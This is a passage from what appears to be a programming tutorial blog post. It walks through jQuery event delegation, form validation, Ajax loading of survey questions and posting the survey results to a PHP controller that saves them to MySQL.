<address><span style="color:#993366;">               if(!valid){</span></address>
<address><span style="color:#993366;">                    $(&#8216;#errMsg p&#8217;).text(</span><span style="color:#993366;">&#8216;These questions require a response!&#8217;);</span></address>
<address><span style="color:#993366;">               }else{</span></address>
<address><span style="color:#993366;">                    saveResponse(idx);</span></address>
<address><span style="color:#993366;">                    loadNextQuestion(idx);</span></address>
<address><span style="color:#993366;">               }</span></address>
<address><span style="color:#993366;">          });</span></address>
<address><span style="color:#993366;">     });</span></address>
<address> </address>
<p>NOTE if you use the &#8216;on&#8217; method, the syntax is slightly different &#8211; <span style="color:#000000;">on( events, [selector], [data], handler(eventObject) )</span> from jQuery API. Which would translate to <strong><span style="color:#993366;">$(&#8216;#surveyQuest&#8217;).on(&#8216;click&#8217;, &#8216;button&#8217;, function(){ &#8230; })</span></strong>;. The button and click are reversed.</p>
<p>As you can see I am selecting the div element id attribute (<strong><span style="color:#993366;">surveyQuest</span></strong>) and setting it up to receive ANY button click event, where the button is a descendent of the div element selected. <strong>This is important, it allows me to switch out the button for each survey question without having to reset the event binding</strong>. Of course we setup each survey page so that only a single &#8216;button&#8217; element would appear within the <span style="color:#993366;"><strong>&#8216;surveyQuest&#8217;</strong> </span>div container.</p>
<p>The next thing that I want to do is to prevent the default function from occurring. This is especially important because of our dual approach. If we fail to cancel the default action then after the jQuery script is completed the &#8216;submit&#8217; event will fire and will send the form variables to the Controller file for processing. Totally dorking up the process. When you have a fairly complex event routine I strongly suggest you use the event object&#8217;s preventDefault function immediately. Some people prefer to end the routine with &#8216;return false;&#8217; to cancel any default action, the problem with this is that if anywhere along the line an error occurs, it can cause the default action to fire.</p>
<p>Next we create a variable called &#8216;name&#8217; which we assign the value &#8216;this.name&#8217;. In a jQuery delegate event handler as shown above, &#8216;this&#8217; refers to the DOM element that initiated the event. In this example the HTML &#8216;button&#8217; element that was &#8216;clicked&#8217; by the User. NOTE WE SAID THE INITIATING ELEMENT NOT THE BOUND ELEMENT!</p>
<p>Its important to note that &#8216;this&#8217; represents a DOM element and is NOT a jQuery Object. We therefore cannot use those handy jQuery methods on it. It is however a JavaScript object and that makes it possible to just use the JavaScript property &#8216;name&#8217; for this element (button) as shown above. Note we could have also used the JavaScript method “getAttribute(&#8216;name&#8217;)” as well. For a good on-line reference to JavaScript and go to Dottoro&#8217;s website &#8211; <a title="Dottoro" href="http://help.dottoro.com/ljraqvls.php" target="_blank">http://help.dottoro.com/ljraqvls.php</a>, you will find most of the good stuff under &#8216;JavaScript / client-side / HTML DOM / objects / nodes and tags.</p>
<p>This session is about jQuery so I should be using jQuery where possible! So lets change the variable assignment from “<strong><span style="color:#993366;">var name = this.name</span></strong>;” to the jQuery equivalent that will yield the same result. Our variable assignment would now look like this: <strong><span style="color:#993366;">var name = $(this).attr(&#8216;name&#8217;)</span></strong>;. Notice what we have done. By wrapping our DOM element (represented by the &#8216;this&#8217; keyword) in $() we have made it a jQuery object that can now access all of those great jQuery methods. Nice. But don&#8217;t lose sight of the fact that though you are using the jQuery library you still have access to client-side JavaScript!</p>
<p>The next line of code is a good example of using JavaScript along side jQuery. Here we use string manipulation to get just the last character of the DOM elements name. As we said earlier all of our Survey button names are a capital letter followed by the question number, i.e., Q1, Q2, Q3, &#8230; We set our index equal to the Survey question we are going to less one (-1). This index (<strong><span style="color:#993366;">idx</span></strong>) will then allow us to group all of the logic for validation, saving responses, and loading survey questions into separate functions. The <strong><span style="color:#993366;">var idx = (name.substr(-1))-1</span></strong>; statement simply takes the &#8216;name&#8217; variable we created in the line above and using the &#8216;substr&#8217; function grabs the last character in the string &#8216;<strong><span style="color:#993366;">.substr(-1)</span></strong>&#8216;. It then subtracts one from that value and assigns it to the variable <strong><span style="color:#993366;">&#8216;idx&#8217;</span></strong>.</p>
<p>The next line then checks to make sure that the User responded to the question by checking one of the options or making an entry in a textarea (both forms of question are used in this survey). The result of the validation is then saved in the variable &#8216;valid&#8217;. The statement calls the function <strong><span style="color:#993366;">&#8216;isValidResponse(idx)</span></strong>&#8216; and passes the index (idx). The actual function looks something like this:</p>
<address><span style="color:#993366;">     function isValidResponse(qNum) {</span></address>
<address><span style="color:#993366;">          var resp = false, $ele, val;</span></address>
<address><span style="color:#993366;">          switch(qNum){</span></address>
<address><span style="color:#993366;">               case 0:</span></address>
<address><span style="color:#993366;">                    $ele = $(&#8216;input:radio:checked&#8217;);</span></address>
<address><span style="color:#993366;">                    if($ele.length==2)resp=true;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 3: case 4:</span></address>
<address><span style="color:#993366;">                    val = $.trim($(&#8216;textarea&#8217;).val());</span></address>
<address><span style="color:#993366;">                     if(val.length&#62;0) resp=true;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               default:</span></address>
<address><span style="color:#993366;">                    $ele = $(&#8216;input:radio:checked&#8217;);</span></address>
<address><span style="color:#993366;">                    if($ele.length==1)resp=true;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">          }</span></address>
<address><span style="color:#993366;">          return resp;</span></address>
<address><span style="color:#993366;">     }</span></address>
<address> </address>
<p>Again as you can see we are using JavaScript in the form of a switch condition statement to separate how we validate the questions presented to the User. I have changed the argument name from &#8216;idx&#8217; to &#8216;qNum&#8217; representing question number. The case &#8217;0&#8242; is therefore not a Survey question but the sample frame questions, of which there are two. The only time that two questions are presented on a single page and that is why it has a separate validation.</p>
<p>Lets take a look at the logic contained within case 0:. Note this logic will only be executed if the qNum argument equals 0. The first line has the variable &#8216;<strong><span style="color:#993366;">$ele&#8217;</span> </strong>being assigned the jQuery Object generated by the jQuery Function <strong><span style="color:#993366;">$(&#8216;input:radio:checked&#8217;)</span></strong>;. I image this selector <strong><span style="color:#993366;">&#8216;input:radio:checked&#8217;</span> </strong>confuses some of you. It is definitely more than your standard CSS. The first term is typical CSS i.e., &#8216;input&#8217; represents all input elements on the page (whose display is not none). The other two terms are special jQuery filters and very handy they are. Essentially &#8216;<strong><span style="color:#993366;">:radio&#8217;</span> </strong>selects from the forms input elements those that are type = radio and the &#8216;<strong><span style="color:#993366;">:checked&#8217;</span> </strong>selects from those radio input elements only those that are selected. And because we have two sample frame questions we are looking for two responses. Anything else is an error.</p>
<p>Also note that the variable <strong><span style="color:#993366;">$ele</span> </strong>is preceded by a dollar sign ($). It is common in jQuery to precede a variable with a dollar sign when it represents a jQuery Object as in the case above. This is not required but I strongly recommend that you apply this practice to your own code.</p>
<p>The next switch statement combines case 3 &#38; 4. These are the two open ended questions that ask the User to enter their comments into a textarea element. In this case we wish to return the text content of the textarea element and that is what this jQuery Function does &#8211; <strong><span style="color:#993366;">$.trim($(&#8216;textarea&#8217;).val());.</span> </strong>Because the value assigned to the variable &#8216;val&#8217; is a string we use the JavaScript &#8216;length&#8217; property to determine if content has been entered. Note that we use the utility method &#8216;<strong><span style="color:#993366;">$.trim()</span></strong>&#8216; to remove any spaces at the beginning or end of the string.</p>
<p>The final and default switch statement will catch all the other &#8216;qNum&#8217; arguments. That is any qNum arguments other than 0, 3, 4 which are otherwise handled. This is just like <strong><span style="color:#993366;">&#8216;case 0:</span></strong>&#8216; only in this case there should only be a single response so anything other than one is an error.</p>
<p>That completes the validation and brings us to a conditional branch in the script. If the validation failed i.e., if(!valid) then we use jQuery to add an error message to the page. Note that the bang operator (!) stands for not, as in not valid.</p>
<p style="text-align:center;"><span style="color:#993366;">$(&#8216;#errMsg p&#8217;).text(&#8216;These questions require a response!&#8217;);</span></p>
<p>Notice that we are calling the div (<strong><span style="color:#666699;">id=errMsg</span></strong>) in our current document. That is each question we load has its own div id=”errMsg”. In this way we can use the same &#8216;id&#8217; without violating the HTML specification. Note that it is possible to set the same &#8216;id&#8217; to two different elements in the same document (web page). This can be very bad for jQuery. In my informal testing, the element that will actually be matched by a selector is the last one assigned that &#8216;id&#8217;. This would be the one closest to the bottom of the document. If at all possible avoid duplicate ids!</p>
<address><span style="color:#666699;">          &#60;div id=&#8221;errMsg&#8221;&#62;</span></address>
<address><span style="color:#666699;">               &#60;p&#62; <strong><span style="color:#ff6600;">&#60;?php</span> </strong>if(isset($_SESSION['err'])) {</span></address>
<address><span style="color:#666699;">                         echo $_SESSION['err'];</span></address>
<address><span style="color:#666699;">                         }<strong><span style="color:#ff6600;">?&#62; </span></strong></span></address>
<address><span style="color:#666699;">               &#60;/p&#62;</span></address>
<address><span style="color:#666699;">          &#60;/div&#62;</span></address>
<address> </address>
<p>The embedded PHP is there to handle server-side but because we are using client-side the PHP is empty (the Session variable is not set). If you look at the generated source code when you load the initial form you will see something like this:</p>
<address><span style="color:#666699;">               &#60;div id=&#8221;errMsg&#8221;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;p&#62;</span></address>
<address><span style="color:#666699;">                    &#60;/p&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address> </address>
<p>In our jQuery Function we are selecting the &#8216;p&#8217; element whose ancestor has the id = <strong><span style="color:#666699;">&#8216;errMsg&#8217;</span></strong>. Then we use the &#8216;text&#8217; method to add the text between the tags. Note that you cannot use the val() method with a paragraph (p) element. Also you cannot use the text() method with input elements, there you should use val(). The error would look something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/surveyform1error.jpg"><img class="aligncenter size-full wp-image-1136" title="SurveyForm1Error" src="http://sitepop.files.wordpress.com/2012/09/surveyform1error.jpg?w=500&#038;h=337" alt="" width="500" height="337" /></a></p>
<p>and the user will not be able to advance to the next question until they provide a response. This is the same behavior that was used in the server-side approach with the exact same appearance but far less complicated.</p>
<p>If the validation passes then we will save the Users response to a global variable. Our global variables should go at the top of our custom &#8216;js&#8217; file before the jQuery &#8216;ready&#8217; method. One variable for each question the User is asked to respond to would look something like this:</p>
<p style="text-align:center;"><span style="color:#993366;">var qqq01, qqq02, qqq1, qqq2, qqq3, qqq4, qqq5, qqq6;</span></p>
<p>Note there are a couple of ways we could avoid using global variables like using a Module Pattern but those I&#8217;m going to save for another session. For this simple exercise global variables will do.</p>
<p>The saveResponse() function assignments are as follows:</p>
<address><span style="color:#993366;">     function saveResponse(qNum) {</span></address>
<address><span style="color:#993366;">          switch(qNum){</span></address>
<address><span style="color:#993366;">               case 0:</span></address>
<address><span style="color:#993366;">                    qqq01 = $(&#8216;input:radio[name=gender]:checked&#8217;).val();</span></address>
<address><span style="color:#993366;">                    qqq02 = $(&#8216;input:radio[name=age]:checked&#8217;).val();</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 1:</span></address>
<address><span style="color:#993366;">                    qqq1 = $(&#8216;input:radio:checked&#8217;).val();</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 2:</span></address>
<address><span style="color:#993366;">                    qqq2 = $(&#8216;input:radio:checked&#8217;).val();</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 3:</span></address>
<address><span style="color:#993366;">                    qqq3 = $.trim($(&#8216;textarea&#8217;).val());</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 4:</span></address>
<address><span style="color:#993366;">                    qqq4 = $.trim($(&#8216;textarea&#8217;).val());</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 5:</span></address>
<address><span style="color:#993366;">                    qqq5 = $(&#8216;input:radio:checked&#8217;).val();</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 6:</span></address>
<address><span style="color:#993366;">                    qqq6 = $(&#8216;input:radio:checked&#8217;).val();</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">          }</span></address>
<address><span style="color:#993366;">     }</span></address>
<address> </address>
<p>The assignment statements are pretty straight forward. Like with validation, for the textarea responses we are still looking for values but with the radio type input instead of count we need the selected value. The &#8216;case 0&#8242;, because the User is responding to two questions needs to differentiate between the two so therefore must apply additional filtering using attribute.</p>
<p>With assignment complete we now wish to load the next Survey question in sequence. Here we call the <strong><span style="color:#993366;">&#8216;loadNextQuestion()&#8217;</span></strong> function. This function looks something like this:</p>
<address><span style="color:#993366;">     function loadNextQuestion(qNum) {</span></address>
<address><span style="color:#993366;">          var myURL = &#8220;&#8221;;</span></address>
<address><span style="color:#993366;">          switch(qNum){</span></address>
<address><span style="color:#993366;">               case 0:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyQuestionOne.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 1:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyQuestionTwo.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 2:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyQuestionThree.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 3:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyQuestionFour.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 4:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyQuestionFive.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 5:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyQuestionSix.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">               case 6:</span></address>
<address><span style="color:#993366;">                    myURL = &#8216;/html/surveyFinish.html.php <strong>div.question&#8217;</strong>;</span></address>
<address><span style="color:#993366;">                    break;</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<address><span style="color:#993366;">          $(&#8216;#surveyQuest&#8217;).<strong>load</strong>(myURL, function(){</span></address>
<address><span style="color:#993366;">               $(this).hide().show(&#8216;slow&#8217;);</span></address>
<address><span style="color:#993366;">               if(qNum==2) {</span></address>
<address><span style="color:#993366;">                    $(&#8216;#likeMost&#8217;).focus();</span></address>
<address><span style="color:#993366;">               } else if (qNum==3){</span></address>
<address><span style="color:#993366;">                    $(&#8216;#mostImprove&#8217;).focus();</span></address>
<address><span style="color:#993366;">               } else if (qNum==6) {</span></address>
<address><span style="color:#993366;">                    exitSurvey();</span></address>
<address><span style="color:#993366;">               }</span></address>
<address><span style="color:#993366;">         });</span></address>
<address><span style="color:#993366;">    }</span></address>
<address> </address>
<p>There are two things I want you to notice about the URL assignments; first they represent the Survey question we are <span style="text-decoration:underline;">going to</span> and are therefore called by the prior question and <strong>second the load method syntax has the ability to include a selector after the URL</strong>. The second is vary important. In this example it allows us to just grab the actual question from the HTML page we used in the server-side solution i.e., <strong><span style="color:#993366;">&#8216;div.question&#8217;</span></strong>. Basically this selector says in the document represented by the URL, we want the div element with the class equal to <strong><span style="color:#993366;">&#8216;question&#8217;</span></strong>.</p>
<p>Once we have assigned the URL / selector to the variable myURL we then load the document component to the target container i.e., <strong><span style="color:#993366;">$(&#8216;#surveyQuest&#8217;).load(myURL, function(){ &#8230;</span> <span style="color:#993366;">}</span></strong>. As you can see we use the jQuery Function to select the div container in our document with the id=surveyQuest, returning a jQuery Object that we use to call the <strong><span style="color:#993366;">&#8216;load()</span></strong>&#8216; method.<strong> The load method is an Ajax call and the simplest way to fetch HTML data from the server</strong>. You should be aware that the load method will automatically remove the content from its target container before inserting the retrieved data.</p>
<p>You will notice we have an anonymous function as the last argument of the &#8216;.load()&#8217; method. This is a callback function. When the load is complete, this function is called. This is important because you cannot call any of the new elements in the document until this is true. So the code we place inside the callback (and anonymous) function, starts only after load completes.</p>
<p>The first thing we do after the load, is implement a little animation to fancy up the process. And as you can see we are using that &#8216;this&#8217; reserve word again and once again we wrap it in the jQuery Function ($()) so that we can use it as a jQuery Object. If your not sure what &#8216;this&#8217; represents in a given context you can always use Firebug or some other Browser Development Tool to check on it. For example here is what Firebug returns for &#8216;this&#8217; in the line of code in question:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/surveyform0this.jpg"><img class="aligncenter size-medium wp-image-1134" title="SurveyForm0This" src="http://sitepop.files.wordpress.com/2012/09/surveyform0this.jpg?w=300&#038;h=63" alt="" width="300" height="63" /></a></p>
<p>Probably just what you expected our survey question container (<strong><span style="color:#666699;">surveyQuest</span></strong>).</p>
<p>Now because we can treat $(this) as a jQuery Object we can use a couple of those handy methods. In this case we are going to animate the appearance of the survey question on the web page. This probably looks a little funny because we are following a load() method with a hide followed by a show. The load all by itself is enough to make the Survey question visible and indeed will if left alone. But by following a load immediately with a hide we keep the question from appearing on the page. If there were something between those commands I would worry that the question would appear then disappear then appear again. Not much chance of that here, hide is immediate unless a duration is entered as an argument.</p>
<p>After the animation, actually during the animation because we are not using the optional callback argument of the jQuery show() method we have three optional tasks that depend on the question number (qNum). If the question we are presenting (going to) requires the User to make an text entry we want to set focus, so that the User can immediately start typing. If we have just completed question #6 we know we are at the end of the survey and must set an exit method. That is what calling the exitSurvey() method does. There is what the method might look like.</p>
<address><span style="color:#993366;">          function exitSurvey(){</span></address>
<address><span style="color:#993366;">               $(&#8216;#exitSurvey&#8217;).click(function(eve){</span></address>
<address><span style="color:#993366;">                    eve.preventDefault();</span></address>
<address><span style="color:#993366;">                    saveSurvey();</span></address>
<address><span style="color:#993366;">               });</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<p>Essentially after the User has responded successfully to question 6 we have to setup a click event handler. In this case when the User clicks &#8216;Exit&#8217; on the &#8216;Thank You for Participating Form&#8217; we prevent the default and call another function, this one to prepare the survey data we have communicated and send it to server (PHP file) which will then save it to a MySQL table. The final form looks like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/surveyform7.jpg"><img class="aligncenter size-full wp-image-1137" title="SurveyForm7" src="http://sitepop.files.wordpress.com/2012/09/surveyform7.jpg?w=500&#038;h=169" alt="" width="500" height="169" /></a></p>
<p>But wait a minute wasn&#8217;t the &#8216;Exit&#8217; button loaded into the survey question container (id=surveyQuest) like all the others before it? Yes it did. So why isn&#8217;t it triggering the click event that we delegated to the survey question container? That is shouldn&#8217;t this event capture the click &#8211; <strong><span style="color:#993366;">$(&#8216;#surveyQuest&#8217;).delegate(&#8216;button&#8217;,'click&#8217;, function(eve){ &#8230; }</span></strong>?  That would be true if we used a button element for the &#8216;Exit&#8217; button but in this case we used a Input element submit type. Here is a snippet of the HTML for this element.</p>
<address><span style="color:#666699;">          &#60;input type=&#8221;submit&#8221; name=&#8221;O8&#8243; id=&#8221;exitSurvey&#8221;</span></address>
<address><span style="color:#666699;">               title=&#8221;Click to return to web site!&#8221; value=&#8221;Exit&#8221;/&#62;</span></address>
<address> </address>
<p>So when the User sees Survey Complete and clicks the &#8216;Exit&#8217; button they trigger the event above &#8216;<strong><span style="color:#993366;">$(&#8216;#exitSurvey&#8217;).click(function(eve)&#8217;</span></strong> which calls the <strong><span style="color:#993366;">saveSurvey()</span> </strong>function. The function looks something like this:</p>
<address><span style="color:#993366;">     function <strong>saveSurvey()</strong>{</span></address>
<address><span style="color:#993366;">          // Create standard object to send to server</span></address>
<address><span style="color:#993366;">          var obj = {&#8216;gender&#8217;:qqq01, &#8216;age&#8217;:qqq02,</span></address>
<address><span style="color:#993366;">                    &#8216;q1&#8242;:qqq1, &#8216;q2&#8242;:qqq2, &#8216;q3&#8242;:qqq3,</span></address>
<address><span style="color:#993366;">                    &#8216;q4&#8242;:qqq4, &#8216;q5&#8242;:qqq5, &#8216;q6&#8242;:qqq6}</span></address>
<address><span style="color:#993366;">          $.post($(&#8216;#saveURL&#8217;).val(), obj, function(status){</span></address>
<address><span style="color:#993366;">               // Triggers the saveOut click event.</span></address>
<address><span style="color:#993366;">               <strong>$(&#8216;#saveOut&#8217;).click();</strong></span></address>
<address><span style="color:#993366;">          })</span></address>
<address><span style="color:#993366;">          .error(function(jqXHR, eType){</span></address>
<address><span style="color:#993366;">               // Triggers the failOut click event.</span></address>
<address><span style="color:#993366;">               <strong>$(&#8216;#failOut&#8217;).click();</strong></span></address>
<address><span style="color:#993366;">               throw new Error(&#8216;Save Survey Error &#8211; &#8216;</span></address>
<address><span style="color:#993366;">               + &#8216;{ &#8216; + eType + &#8216; &#8211; &#8216; + jqXHR.statusText</span></address>
<address><span style="color:#993366;">               + &#8216; }&#8217;);</span></address>
<address><span style="color:#993366;">          });</span></address>
<address><span style="color:#993366;">     }</span></address>
<address> </address>
<p>The <span style="color:#993366;"><strong>saveSurvey()</strong> </span>is the final function in jQuery! First thing that happens in this function is that the global variables that we have been assigning values to are nicely packaged as a plain JavaScript object. Note the syntax of the object (obj) is {property : value, property : value, &#8230; }, (where property is synonymous with key in this context). We create the object so that we can pass the information to PHP via jQuery Ajax for further processing.</p>
<p>That occurs in the next statement &#8211; <strong><span style="color:#993366;">$.post($(&#8216;#saveURL&#8217;).val(), obj, function(status){ &#8230; }.</span> </strong>Post is another one of those Ajax shortcut methods available in jQuery. Remember we used .load() earlier. With the post method we a sending three arguments. The first is the URL that will be called to process the Survey information we gathered using jQuery. To save this information to a MySQL table, we must first get it to PHP. So why do we have a jQuery Function in the place where the URL should be? Good question. We could have just entered the URL as we did earlier in the load function &#8211; myURL = &#8216;/html/surveyQuestionFour.html.php <strong><span style="color:#993366;">div.question&#8217;</span></strong>; &#8211; less the selector or course.</p>
<p>I chose not to do that so that you could see an alternative to hard wiring the URL into the jQuery script. In some cases, where you favor re-usability you will prefer to pass this information to the script. To do that we make use of a combination of PHP and the HTML document that we are working with. In the PHP Controller file we define the URL within the script that calls the document:</p>
<p style="text-align:center;"><span style="color:#008080;"><strong>$saveUrl</strong> = &#8216;/&#8217;.$_ENV['siteRoot'].&#8217;/inc/ajaxSaveSurvey.php&#8217;;</span></p>
<p>I have seen this referred to as a &#8216;root-relative&#8217; path. You see the PHP environment variable which represents the site&#8217;s top level folder preceded by a forward slash. By using an environment variable we gain some flexibility in that we can move this code to another project and reuse it as long as the &#8216;siteRoot&#8217; is set properly. For more detail on setting an $_ENV['siteRoot'] see my session <a title="PHP – Controller Template" href="http://sitepop.wordpress.com/2012/01/03/php-controller-template/" target="_blank">&#8216;PHP – Controller Template&#8217;</a>.</p>
<p>We then incorporate this variable into the HTML as follows:</p>
<p style="text-align:center;"><span style="color:#666699;">&#60;input type=&#8221;hidden&#8221; id=&#8221;saveURL&#8221; value=&#8221;<strong><span style="color:#ff6600;">&#60;?php</span> </strong>echo $saveUrl; <strong><span style="color:#ff6600;">?&#62;</span></strong>&#8221; /&#62;</span></p>
<p>Note the embedded PHP variable in the value attribute! From our PHP Controller file we could manage all of our URLs and access them in jQuery via HTML. A fine idea if your focus is re-usability. Most occasional users aren&#8217;t, so most of you will find it more convenient to hard-wire. You can always refactor, though I&#8217;ve never found it as easy to do as say.</p>
<p>One other note, the statement &#8211; <strong><span style="color:#993366;">$(&#8216;#saveURL&#8217;).val(),</span> </strong>is an example of a getter method, i.e., <strong><span style="color:#993366;">val()</span></strong>. This is one of the overloaded methods used by jQuery. When an argument is not included in <strong><span style="color:#993366;">val(),</span> </strong>it returns the value of the first DOM element in the jQuery Object returned by the jQuery Function &#8216;$(&#8216;#saveURL&#8217;). Note also that the entire statement &#8211; <strong><span style="color:#993366;">$(&#8216;#saveURL&#8217;).val()</span> </strong>clearly does not return a jQuery Object! Instead it returns a string representing the target URL. Is this then chain-able?  That&#8217;s right it is not.</p>
<p>The second argument in the post method is &#8216;obj&#8217; which represents the data we are passing to the URL in the first argument. Not surprisingly the data will be presented to the target PHP document as post variables in the $_POST[' '] array. Using Firebug we can look at the result of the Ajax call to the server.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/surveyform7firebugpost.jpg"><img class="aligncenter size-full wp-image-1131" title="SurveyForm7FirebugPost" src="http://sitepop.files.wordpress.com/2012/09/surveyform7firebugpost.jpg?w=500&#038;h=209" alt="" width="500" height="209" /></a></p>
<p>The PHP file &#8216;ajaxSaveSurvey.php&#8217; that receives this information looks something like this:</p>
<address><strong><span style="color:#ff6600;">     &#60;?php</span></strong></address>
<address><span style="color:#008080;">           include_once &#8216;Proj/Effect1/inc/Survey.php&#8217;;</span></address>
<address><span style="color:#008080;">           if (!session_start()){</span></address>
<address><span style="color:#008080;">                throw new RuntimeException(&#8216;Session failed to start!&#8217;);</span></address>
<address><span style="color:#008080;">           }</span></address>
<address><span style="color:#008080;">           // Instantiate a new Survey object &#8230;&#8230;&#8230;.</span></address>
<address><span style="color:#008080;">          $survey = new Survey($_POST['gender'], $_POST['age'],</span></address>
<address><span style="color:#008080;">                    $_POST['q1'], $_POST['q2'], $_POST['q3'],</span></address>
<address><span style="color:#008080;">                    $_POST['q4'], $_POST['q5'], $_POST['q6']);</span></address>
<address><span style="color:#008080;">          $_SESSION['survey'] = $survey;</span></address>
<address><span style="color:#008080;">          echo &#8220;Finished!&#8221;;</span></address>
<address><strong><span style="color:#ff6600;">     ?&#62;</span></strong></address>
<address> </address>
<p>The only thing occurring in this PHP file is that we are taking the Survey data from the Ajax posting and copying it to the PHP convenience object that we constructed to use with the server-side approach. Once we initialize the object we save it as a session variable ($_SESSION['survey']) so that it is accessible by the Controller file. The &#8216;Finished&#8217; sent back as a reply has no purpose other than debugging.</p>
<p>The third argument is a callback function. Ajax methods under jQuery can assign any of three handlers (success, error, complete) after the request. For the .post() method the handler (callback function) represents success. That means, if the Ajax call is a success this function will be called and it&#8217;s code executed.</p>
<p>In the case of a &#8216;success&#8217; only one thing needs to occur, we trigger the document button that has an attribute &#8216;id&#8217; equal to &#8216;saveOut&#8217;. Do not be confused with this syntax <strong><span style="color:#993366;">$(&#8216;#saveOut&#8217;).click(</span><span style="color:#993366;">);</span></strong>, it is not binding a click event to the jQuery Functions select argument (&#8216;#saveOut&#8217;). How do we know this? Because there is no event handler as an argument for the click event. In effect this is the same as if we had written <strong><span style="color:#993366;">$(&#8216;#saveOut&#8217;).trigger(&#8216;click&#8217;);.</span> </strong>This trigger is the final jQuery command that is executed in the Survey process. When the HTML button is clicked by this code, control is returned to the PHP Controller file. You saw this code at the top of the session:</p>
<address><span style="color:#666699;">     &#60;form id=&#8221;ajaxForm&#8221; name=&#8221;ajaxFrom&#8221; action=&#8221; method=&#8217;post&#8217;&#62;</span></address>
<address><span style="color:#666699;">          &#60;button type=&#8221;submit&#8221; name=&#8221;saveOut&#8221;</span></address>
<address><span style="color:#666699;">               id=&#8221;saveOut&#8221; class=&#8221;hide&#8221;&#62;</span></address>
<address><span style="color:#666699;">          &#60;/button&#62;</span></address>
<address><span style="color:#666699;">          &#60;button type=&#8221;submit&#8221; name=&#8221;failOut&#8221;</span></address>
<address><span style="color:#666699;">               id=&#8221;failOut&#8221; class=&#8221;hide&#8221;&#62;</span></address>
<address><span style="color:#666699;">          &#60;/button&#62;</span></address>
<address><span style="color:#666699;">     &#60;/form&#62;</span></address>
<address> </address>
<p>When the form (<strong><span style="color:#666699;">ajaxForm</span></strong>) above is submitted the only post variable returned to the Controller will be <strong><span style="color:#666699;">&#8216;saveOut&#8217;</span></strong>. The Controller will use a condition statement to capture that response and save the Survey result to the MySQL table. The Controller script might look something like this:</p>
<address><span style="color:#008080;">     if(<strong>isset($_POST['saveOut']))</strong> {</span></address>
<address><span style="color:#008080;">          try {</span></address>
<address><span style="color:#008080;">               include_once $_ENV['siteRoot'].&#8217;/resources/dataPak/SurveyDAO.php&#8217;;</span></address>
<address><span style="color:#008080;">               $surv = new SurveyDAO();</span></address>
<address><span style="color:#008080;">               $surv-&#62;addSurveyResponseTran($_SESSION['survey']);</span></address>
<address><span style="color:#008080;">               header(&#8216;Location:&#8217; . &#8216;/&#8217; . $_ENV['siteRoot']);</span></address>
<address><span style="color:#008080;">               exit();</span></address>
<address><span style="color:#008080;">          } catch(DataException $d) {</span></address>
<address><span style="color:#008080;">               MessageMgr::logError($d);</span></address>
<address><span style="color:#008080;">               header(&#8216;Location:&#8217; . &#8216;/&#8217; . $_ENV['siteRoot']);</span></address>
<address><span style="color:#008080;">               exit();</span></address>
<address><span style="color:#008080;">          }</span></address>
<address><span style="color:#008080;">     }</span></address>
<address> </address>
<p>This save logic is shared by both the server and client-side approaches. That is PHP manages both. Within the try / catch block we call the save routine. If the save fails a DataException is thrown and caught in the catch component of the try / catch block. Note that we generate an error log message but do not bother to inform the User. The User has no interest in our problems and there is nothing they could do. We write an error message so that we can correct the problem. Meanwhile we send the User on their way.</p>
<p>Because the post method only comes with a &#8216;success&#8217; handler we need to take some steps to handle an error. We do this by adding an error handler to the post method. Here is the snippet from above that applies:</p>
<address><span style="color:#993366;">          .error(function(jqXHR, eType){</span></address>
<address><span style="color:#993366;">               // Triggers the failOut click event.</span></address>
<address><span style="color:#993366;">               $(&#8216;#failOut&#8217;).click();</span></address>
<address><span style="color:#993366;">               throw new Error(&#8216;Save Survey Error &#8211; &#8216;</span></address>
<address><span style="color:#993366;">                    + &#8216;{ &#8216; + eType + &#8216; &#8211; &#8216; + jqXHR.statusText</span></address>
<address><span style="color:#993366;">                    + &#8216; }&#8217;);</span></address>
<address><span style="color:#993366;">          });</span></address>
<address> </address>
<p>This is confusing to me, I suspect its confusing to you. This looks like we&#8217;re chaining an error method to the end of a post method. But that cannot be. Why? Because the post method returns a jqXHR Object not a jQuery Object. Are they the same? No they are not the same. But the jqXHR object <span style="text-decoration:underline;">does</span> have an .error() method as well as a .complete() method. So in effect you are chaining but not the jQuery Object rather the jqXHR object. Still confusing!</p>
